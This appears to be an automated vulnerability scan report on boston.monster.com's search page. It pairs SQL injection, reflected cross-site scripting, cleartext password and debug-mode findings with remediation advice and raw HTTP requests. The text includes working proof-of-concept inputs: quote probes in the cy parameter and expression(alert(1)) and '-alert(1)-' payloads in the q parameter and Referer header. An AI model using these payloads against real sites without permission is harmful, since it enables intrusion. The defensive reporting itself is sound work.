The cy parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the cy parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Issue background
SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
Issue remediation
The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.
You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:
One common defense is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defense is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defense may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defense to be bypassed.
Another often cited defense is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.
Request 1
GET /search.aspx?q=%22boston.com%22&cy=us'&cnme=boston&sid=40&re=100&jto=1 HTTP/1.1 Host: boston.monster.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 302 Found Connection: close Date: Mon, 08 Nov 2010 07:11:31 GMT Server: Microsoft-IIS/6.0 P3P: CP=CAO DSP COR CURa ADMa DEVa TAIi IVAi IVDi CONi HISa TELi OUR DELi SAMi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Location: /Error.aspx?M=System.Data.SyntaxErrorException&G=0a52be75-0a1e-4b17-a69f-fc13ed30e44b&N=401 Set-Cookie: ASP.NET_SessionId=fpak5545uqxpn245sa0cp0y2; path=/; HttpOnly Set-Cookie: split_scsjsv=43; domain=.monster.com; expires=Tue, 08-Nov-2011 07:11:31 GMT; path=/ Set-Cookie: scsjsv=0; domain=.monster.com; path=/ Cache-Control: private Content-Type: text/html
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="%2fError.aspx%3fM%3dSystem.Data.SyntaxErrorException%26G%3d0a52be75-0a1e-4b17-a69f-fc13ed30e44b%26N%3d401">here</a>.< ...[SNIP]...
Request 2
GET /search.aspx?q=%22boston.com%22&cy=us''&cnme=boston&sid=40&re=100&jto=1 HTTP/1.1 Host: boston.monster.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Mon, 08 Nov 2010 07:11:32 GMT Server: Microsoft-IIS/6.0 P3P: CP=CAO DSP COR CURa ADMa DEVa TAIi IVAi IVDi CONi HISa TELi OUR DELi SAMi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: ASP.NET_SessionId=12d1cy452dxsxz45olxmcwqy; path=/; HttpOnly Set-Cookie: split_scsjsv=57; domain=.monster.com; expires=Tue, 08-Nov-2011 07:11:32 GMT; path=/ Set-Cookie: scsjsv=0; domain=.monster.com; path=/ Set-Cookie: JSRTimeStamp=634247790922428099; domain=.monster.com; path=/ Set-Cookie: NumberOfJSR=1; domain=.monster.com; path=/ Set-Cookie: BackToJSRLink=q=%22boston.com%22&cy=us''&cnme=boston&sid=40&re=100&jto=1&referrer=search.aspx; domain=.monster.com; path=/ Set-Cookie: TC_Top=; expires=Sat, 09-Oct-2010 07:11:32 GMT; path=/ Set-Cookie: TC_Bottom=; expires=Sat, 09-Oct-2010 07:11:32 GMT; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 140195 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the q request parameter is copied into the name of an HTML tag attribute. The payload ab92b%20style%3dx%3aexpression(alert(1))%201a135ee77d4 was submitted in the q parameter. This input was echoed as ab92b style=x:expression(alert(1)) 1a135ee77d4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /search.aspx?q=%22boston.com%22ab92b%20style%3dx%3aexpression(alert(1))%201a135ee77d4&cy=us&cnme=boston&sid=40&re=100&jto=1 HTTP/1.1 Host: boston.monster.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 08 Nov 2010 07:09:55 GMT Server: Microsoft-IIS/6.0 P3P: CP=CAO DSP COR CURa ADMa DEVa TAIi IVAi IVDi CONi HISa TELi OUR DELi SAMi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: ASP.NET_SessionId=3wpp1455eq2zba55zco541ev; path=/; HttpOnly Set-Cookie: split_scsjsv=29; domain=.monster.com; expires=Tue, 08-Nov-2011 07:09:55 GMT; path=/ Set-Cookie: scsjsv=0; domain=.monster.com; path=/ Set-Cookie: JSRTimeStamp=634247789959535115; domain=.monster.com; path=/ Set-Cookie: NumberOfJSR=1; domain=.monster.com; path=/ Set-Cookie: BackToJSRLink=q=%22boston.com%22ab92b+style%3dx%3aexpression(alert(1))+1a135ee77d4&cy=us&cnme=boston&sid=40&re=100&jto=1&referrer=search.aspx; domain=.monster.com; path=/ Set-Cookie: TC_Top=; expires=Sat, 09-Oct-2010 07:09:55 GMT; path=/ Set-Cookie: TC_Bottom=; expires=Sat, 09-Oct-2010 07:09:55 GMT; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 345808 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the q request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a69f6"style%3d"x%3aexpression(alert(1))"7e2a66ff8ee was submitted in the q parameter. This input was echoed as a69f6"style="x:expression(alert(1))"7e2a66ff8ee in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /search.aspx?q=a69f6"style%3d"x%3aexpression(alert(1))"7e2a66ff8ee&cy=us&cnme=boston&sid=40&re=100&jto=1 HTTP/1.1 Host: boston.monster.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 08 Nov 2010 07:10:23 GMT Server: Microsoft-IIS/6.0 P3P: CP=CAO DSP COR CURa ADMa DEVa TAIi IVAi IVDi CONi HISa TELi OUR DELi SAMi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: ASP.NET_SessionId=c1jphgvj4c5g42v5z1wwz245; path=/; HttpOnly Set-Cookie: split_scsjsv=81; domain=.monster.com; expires=Tue, 08-Nov-2011 07:10:23 GMT; path=/ Set-Cookie: scsjsv=0; domain=.monster.com; path=/ Set-Cookie: JSRTimeStamp=634247790236164923; domain=.monster.com; path=/ Set-Cookie: NumberOfJSR=1; domain=.monster.com; path=/ Set-Cookie: BackToJSRLink=q=a69f6%22style%3d%22x%3aexpression(alert(1))%227e2a66ff8ee&cy=us&cnme=boston&sid=40&re=100&jto=1&referrer=search.aspx; domain=.monster.com; path=/ Set-Cookie: TC_Top=; expires=Sat, 09-Oct-2010 07:10:23 GMT; path=/ Set-Cookie: TC_Bottom=; expires=Sat, 09-Oct-2010 07:10:23 GMT; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 343513 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1f079'-alert(1)-'b92a5d2db6f was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /search.aspx HTTP/1.1 Host: boston.monster.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=1f079'-alert(1)-'b92a5d2db6f
Response
HTTP/1.1 200 OK Date: Mon, 08 Nov 2010 07:11:07 GMT Server: Microsoft-IIS/6.0 P3P: CP=CAO DSP COR CURa ADMa DEVa TAIi IVAi IVDi CONi HISa TELi OUR DELi SAMi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: ASP.NET_SessionId=s32yaoae0ne0awzsdpxdh0z0; path=/; HttpOnly Set-Cookie: split_scsjsv=21; domain=.monster.com; expires=Tue, 08-Nov-2011 07:11:06 GMT; path=/ Set-Cookie: scsjsv=0; domain=.monster.com; path=/ Set-Cookie: JSRTimeStamp=634247790671317581; domain=.monster.com; path=/ Set-Cookie: NumberOfJSR=1; domain=.monster.com; path=/ Set-Cookie: BackToJSRLink=&referrer=search.aspx; domain=.monster.com; path=/ Set-Cookie: TC_Top=; expires=Sat, 09-Oct-2010 07:11:07 GMT; path=/ Set-Cookie: TC_Bottom=; expires=Sat, 09-Oct-2010 07:11:07 GMT; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 350184 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defense and monitor the traffic passing through switches.
Issue remediation
The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.
Request
GET /search.aspx HTTP/1.1 Host: boston.monster.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 08 Nov 2010 07:09:11 GMT Server: Microsoft-IIS/6.0 P3P: CP=CAO DSP COR CURa ADMa DEVa TAIi IVAi IVDi CONi HISa TELi OUR DELi SAMi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: ASP.NET_SessionId=fp5k4q453nd2jg454uhkncek; path=/; HttpOnly Set-Cookie: split_scsjsv=57; domain=.monster.com; expires=Tue, 08-Nov-2011 07:09:10 GMT; path=/ Set-Cookie: scsjsv=0; domain=.monster.com; path=/ Set-Cookie: JSRTimeStamp=634247789513977275; domain=.monster.com; path=/ Set-Cookie: NumberOfJSR=1; domain=.monster.com; path=/ Set-Cookie: BackToJSRLink=&referrer=search.aspx; domain=.monster.com; path=/ Set-Cookie: TC_Top=; expires=Sat, 09-Oct-2010 07:09:11 GMT; path=/ Set-Cookie: TC_Bottom=; expires=Sat, 09-Oct-2010 07:09:11 GMT; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 350060 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.
The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.
Issue remediation
To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).
GET /search.aspx HTTP/1.1 Host: boston.monster.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 08 Nov 2010 07:09:11 GMT Server: Microsoft-IIS/6.0 P3P: CP=CAO DSP COR CURa ADMa DEVa TAIi IVAi IVDi CONi HISa TELi OUR DELi SAMi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: ASP.NET_SessionId=fp5k4q453nd2jg454uhkncek; path=/; HttpOnly Set-Cookie: split_scsjsv=57; domain=.monster.com; expires=Tue, 08-Nov-2011 07:09:10 GMT; path=/ Set-Cookie: scsjsv=0; domain=.monster.com; path=/ Set-Cookie: JSRTimeStamp=634247789513977275; domain=.monster.com; path=/ Set-Cookie: NumberOfJSR=1; domain=.monster.com; path=/ Set-Cookie: BackToJSRLink=&referrer=search.aspx; domain=.monster.com; path=/ Set-Cookie: TC_Top=; expires=Sat, 09-Oct-2010 07:09:11 GMT; path=/ Set-Cookie: TC_Bottom=; expires=Sat, 09-Oct-2010 07:09:11 GMT; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 350060 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /search.aspx?q=%22boston.com%22&cy=us&cnme=boston&sid=40&re=100&jto=1 HTTP/1.1 Host: boston.monster.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 08 Nov 2010 07:09:12 GMT Server: Microsoft-IIS/6.0 P3P: CP=CAO DSP COR CURa ADMa DEVa TAIi IVAi IVDi CONi HISa TELi OUR DELi SAMi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: ASP.NET_SessionId=qvdhayn5natnh545h5fhzufg; path=/; HttpOnly Set-Cookie: split_scsjsv=65; domain=.monster.com; expires=Tue, 08-Nov-2011 07:09:12 GMT; path=/ Set-Cookie: scsjsv=0; domain=.monster.com; path=/ Set-Cookie: JSRTimeStamp=634247789529408504; domain=.monster.com; path=/ Set-Cookie: NumberOfJSR=1; domain=.monster.com; path=/ Set-Cookie: BackToJSRLink=q=%22boston.com%22&cy=us&cnme=boston&sid=40&re=100&jto=1&referrer=search.aspx; domain=.monster.com; path=/ Set-Cookie: TC_Top=; expires=Sat, 09-Oct-2010 07:09:12 GMT; path=/ Set-Cookie: TC_Bottom=; expires=Sat, 09-Oct-2010 07:09:12 GMT; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 154696 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
ASP.NET debugging is enabled on the server. The user context used to scan the application does not appear to be permitted to perform debugging, so this is not an immediately exploitable issue. However, if you were able to obtain or guess appropriate platform-level credentials, you may be able to perform debugging.
Issue background
ASP.NET allows remote debugging of web applications, if configured to do so. By default, debugging is subject to access control and requires platform-level authentication.
If an attacker can successfully start a remote debugging session, this is likely to disclose sensitive information about the web application and supporting infrastructure which may be valuable in formulating targetted attacks against the system.
Issue remediation
To disable debugging, open the Web.config file for the application, and find the <compilation> element within the <system.web> section. Set the debug attribute to "false". Note that it is also possible to enable debugging for all applications within the Machine.config file. You should confirm that debug attribute in the <compilation> element has not been set to "true" within the Machine.config file also.
It is strongly recommended that you refer to your platform's documentation relating to this issue, and do not rely solely on the above remediation.
HTTP/1.1 401 Unauthorized Connection: close Date: Mon, 08 Nov 2010 07:09:13 GMT Server: Microsoft-IIS/6.0 WWW-Authenticate: Negotiate WWW-Authenticate: NTLM P3P: CP=CAO DSP COR CURa ADMa DEVa TAIi IVAi IVDi CONi HISa TELi OUR DELi SAMi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 39
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Issue background
A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.
Issue remediation
By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.
Request
GET /search.aspx HTTP/1.1 Host: boston.monster.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 08 Nov 2010 07:09:11 GMT Server: Microsoft-IIS/6.0 P3P: CP=CAO DSP COR CURa ADMa DEVa TAIi IVAi IVDi CONi HISa TELi OUR DELi SAMi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: ASP.NET_SessionId=fp5k4q453nd2jg454uhkncek; path=/; HttpOnly Set-Cookie: split_scsjsv=57; domain=.monster.com; expires=Tue, 08-Nov-2011 07:09:10 GMT; path=/ Set-Cookie: scsjsv=0; domain=.monster.com; path=/ Set-Cookie: JSRTimeStamp=634247789513977275; domain=.monster.com; path=/ Set-Cookie: NumberOfJSR=1; domain=.monster.com; path=/ Set-Cookie: BackToJSRLink=&referrer=search.aspx; domain=.monster.com; path=/ Set-Cookie: TC_Top=; expires=Sat, 09-Oct-2010 07:09:11 GMT; path=/ Set-Cookie: TC_Bottom=; expires=Sat, 09-Oct-2010 07:09:11 GMT; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 350060 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
Request
GET /search.aspx?q=%22boston.com%22&cy=us&cnme=boston&sid=40&re=100&jto=1 HTTP/1.1 Host: boston.monster.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 08 Nov 2010 07:09:12 GMT Server: Microsoft-IIS/6.0 P3P: CP=CAO DSP COR CURa ADMa DEVa TAIi IVAi IVDi CONi HISa TELi OUR DELi SAMi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: ASP.NET_SessionId=qvdhayn5natnh545h5fhzufg; path=/; HttpOnly Set-Cookie: split_scsjsv=65; domain=.monster.com; expires=Tue, 08-Nov-2011 07:09:12 GMT; path=/ Set-Cookie: scsjsv=0; domain=.monster.com; path=/ Set-Cookie: JSRTimeStamp=634247789529408504; domain=.monster.com; path=/ Set-Cookie: NumberOfJSR=1; domain=.monster.com; path=/ Set-Cookie: BackToJSRLink=q=%22boston.com%22&cy=us&cnme=boston&sid=40&re=100&jto=1&referrer=search.aspx; domain=.monster.com; path=/ Set-Cookie: TC_Top=; expires=Sat, 09-Oct-2010 07:09:12 GMT; path=/ Set-Cookie: TC_Bottom=; expires=Sat, 09-Oct-2010 07:09:12 GMT; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 154696 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
Request
GET /search.aspx HTTP/1.1 Host: boston.monster.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 08 Nov 2010 07:09:11 GMT Server: Microsoft-IIS/6.0 P3P: CP=CAO DSP COR CURa ADMa DEVa TAIi IVAi IVDi CONi HISa TELi OUR DELi SAMi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: ASP.NET_SessionId=fp5k4q453nd2jg454uhkncek; path=/; HttpOnly Set-Cookie: split_scsjsv=57; domain=.monster.com; expires=Tue, 08-Nov-2011 07:09:10 GMT; path=/ Set-Cookie: scsjsv=0; domain=.monster.com; path=/ Set-Cookie: JSRTimeStamp=634247789513977275; domain=.monster.com; path=/ Set-Cookie: NumberOfJSR=1; domain=.monster.com; path=/ Set-Cookie: BackToJSRLink=&referrer=search.aspx; domain=.monster.com; path=/ Set-Cookie: TC_Top=; expires=Sat, 09-Oct-2010 07:09:11 GMT; path=/ Set-Cookie: TC_Bottom=; expires=Sat, 09-Oct-2010 07:09:11 GMT; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 350060 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
Request
GET /search.aspx HTTP/1.1 Host: boston.monster.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 08 Nov 2010 07:09:11 GMT Server: Microsoft-IIS/6.0 P3P: CP=CAO DSP COR CURa ADMa DEVa TAIi IVAi IVDi CONi HISa TELi OUR DELi SAMi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: ASP.NET_SessionId=fp5k4q453nd2jg454uhkncek; path=/; HttpOnly Set-Cookie: split_scsjsv=57; domain=.monster.com; expires=Tue, 08-Nov-2011 07:09:10 GMT; path=/ Set-Cookie: scsjsv=0; domain=.monster.com; path=/ Set-Cookie: JSRTimeStamp=634247789513977275; domain=.monster.com; path=/ Set-Cookie: NumberOfJSR=1; domain=.monster.com; path=/ Set-Cookie: BackToJSRLink=&referrer=search.aspx; domain=.monster.com; path=/ Set-Cookie: TC_Top=; expires=Sat, 09-Oct-2010 07:09:11 GMT; path=/ Set-Cookie: TC_Bottom=; expires=Sat, 09-Oct-2010 07:09:11 GMT; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 350060 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.
